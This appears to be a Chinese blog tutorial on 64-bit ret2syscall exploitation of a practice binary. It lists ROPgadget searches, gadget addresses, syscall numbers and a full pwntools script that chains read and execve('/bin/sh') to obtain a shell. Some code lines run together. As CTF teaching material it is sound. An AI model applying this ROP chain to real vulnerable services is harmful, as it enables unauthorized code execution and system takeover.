当前位置: 首页 > news >正文

PWN基础-ROP技术-ret2syscall-64位程序栈溢出利用

前置 ret2syscall 的基础我们就不做过多讲解了

利用思路与 32 位类似,只是传参的寄存器是:

rdi -> rsi -> rdx -> rcx -> r8 -> r9

我们这里只用到前三个就可以了,以及 rax

还有一个区别就是:

32 位系统调用最后是执行 int x080

而 64 位系统调用最后是执行 syscall

检查一下,64 位程序,开启 NX 保护:

ida 看一下 main 函数,存在明显的栈溢出

先找 pop rax;ret

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "rax"

记录地址:

pop_rax = 0x46b9f8

接着我们找另外三个寄存器:

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "rdi" | grep "rsi" | grep "rdx"

没找到连续的,那么我们就分开来:

ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdi ; ret"
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rsi ; ret"
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdx ; ret"

看到有两个连一起的,当然我们也可以一个一个地传参

把地址都记录下:

pop_rdi = 0x4016c3
pop_rsi = 0x4017d7
pop_rdx = 0x4377d5
pop_rdx_rsi = 0x4377f9

找 syscall

ROPgadget --binary ret2sys_64 | grep syscall

这里看到的这个不对,因为后面没有 ret

正确的应该是 0x45BAC5

syscall = 0x45bac5

我们看一下 64 位的系统调用号:

read 系统调用号是 0

execve 系统调用号是 59,也就是 0x3b

我们先测一下偏移:

cyclic -l 0x616161616161616c

拿到偏移: 

offset = 88

 找一下可以写入的 bss 段地址:

bss_addr = 0x6c2000

至此,我们就可以写 exp 了:

# @author:My6n
# @time:20250508
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process("./ret2sys_64")pop_rax = 0x46b9f8
pop_rdi = 0x4016c3
pop_rsi = 0x4017d7
pop_rdx = 0x4377d5
offset = 88
bss_addr = 0x6c2000
syscall = 0x45bac5
ret_addr = 0x400739payload = cyclic(offset)+p64(pop_rax)+p64(0x0)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi)+p64(bss_addr)
payload += p64(pop_rdx)+p64(0x20)
payload += p64(syscall)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdi)+p64(bss_addr)
payload += p64(pop_rsi)+p64(0)
payload += p64(pop_rdx)+p64(0)
payload += p64(syscall)io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()

没有问题,可以打通 

也可以将 pop_rdx_rsi = 0x4377f9 用上

后面传两个参数就可以了,分开写,一起写都可以的,这里就不做过多演示了

相关文章:

  • 查看jdk是否安装并且配置成功?(Android studio安装前的准备)
  • 多语言爬虫实现网站价格监控
  • 《云计算》第三版总结
  • 日语学习-日语知识点小记-构建基础-JLPT-N4阶段(16):单词与句子
  • v-model原理详解
  • 基于vm加密的php逆向分析
  • 【PostgreSQL数据分析实战:从数据清洗到可视化全流程】电商数据分析案例-9.1 业务场景与数据准备
  • MySQL 8.0 OCP(1Z0-908)英文题库(11-20)
  • 因子分析——数学原理及R语言代码
  • vscode与keil的乱码不兼容问题
  • 大型语言模型在网络安全领域的应用综述
  • ffmpeg多媒体(音视频)处理常用命令
  • Linux 网络命名空间:从内核资源管理到容器网络隔离
  • C++ | 常用语法笔记
  • 机器视觉的手机FPC油墨丝印应用
  • 企业开发平台大变革:AI 代理 + 平台工程重构数字化转型路径
  • DeepSeek多尺度数据:无监督与原则性诊断方案全解析
  • 基于互信息分解表示学习的多模态情感分析
  • 录播课视觉包装与转化率提升指南
  • C#生成二维码和条形码
  • 澎湃研究所“营商环境研究伙伴计划”启动
  • 巴基斯坦信德省首府卡拉奇发生爆炸
  • 巴基斯坦信德省卡拉奇发生爆炸
  • 昆廷·斯金纳:作为“独立自主”的自由
  • 巴方称印军发动24起袭击,巴境内6处地点遭袭致8人死亡
  • 世界哮喘日丨张旻:哮喘的整体诊断率不足三成,吸入治疗是重要治疗手段